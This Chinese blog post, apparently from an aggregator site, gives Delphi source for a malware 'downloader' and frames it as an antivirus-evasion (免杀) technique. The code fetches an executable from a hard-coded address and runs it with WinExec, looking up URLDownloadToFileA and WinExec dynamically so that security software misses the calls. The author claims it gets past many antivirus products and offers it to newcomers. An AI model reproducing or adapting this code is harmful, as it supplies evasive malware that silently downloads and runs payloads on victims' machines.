Delphi函数动态调用实现免杀

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Delphi函数动态调用实现免杀相关的知识,希望对你有一定的参考价值。

Delphi

源码免杀之函数动态调用实现免杀的下载者自己编译这份代码看看过N多杀软没什么技术含量只是发出来给不懂的人入入门也防止有新人老是来问

 

ShellApi,URLMon 

单元

 

//Delphi动态调用API函数

 

procedure TForm1.Button1Click(Sender: TObject); 

var 

   SourceFile:ansistring; 

   DestFile :ansistring; 

   down2:function(Caller: IUnknown; URL: PChar; FileName: PChar; Longint: DWORD; 

StatusCB: IBindStatusCallback): Longint; stdcall; 

   exe2:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall; 

 

begin 

    SourceFile:=‘http://172.16.126.152/UrlDown/k8team.exe‘; 

    DestFile := ‘f:\bbbaa.exe‘; 

//原函数 下载完就执行,典型的下载者

//常用函数 是个杀软都会杀得你连路都不见

    //UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil); 

//WinExec(Pchar(DestFile),SW_SHOW); 

 //要和原函数对应

  //动态调用

    @Down2:=GetProcAddress(LoadLibrary(‘URLMON.DLL‘),‘URLDownloadToFileA‘); 

    Down2(nil, PChar(SourceFile), PChar(DestFile), 0, nil); 

    //动态调用

    @exe2:=GetProcAddress(LoadLibrary(‘kernel32.dll‘),‘WinExec‘); 

    exe2(PChar(DestFile),SW_SHOW); 

end; 

 

//=============================================================================================================== 附上函数原型

URLDownloadToFile 

函数

 

function URLDownloadToFile; external  UrlMonLib  name  ‘URLDownloadToFileA‘; 

UrlMonLib = ‘URLMON.DLL‘; 

function  URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall; 

 

 

 WinExec 

函数

 

function WinExec; external kernel32 name ‘WinExec‘; 

  kernel32  = ‘kernel32.dll‘; 

function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall; 

 

以上是关于Delphi函数动态调用实现免杀的主要内容,如果未能解决你的问题,请参考以下文章

Delphi Dll 动态调用例子-仔细看一下

关于delphi中动态调用dll时出现的问题

Delphi 动态链接库的动态和静态调用 (仔细读一下)

使用C语言编写Window的标准动态库如何在Delphi中调用

delphi如何调用DLL

delphi学习笔记2之动态库调用和串口通讯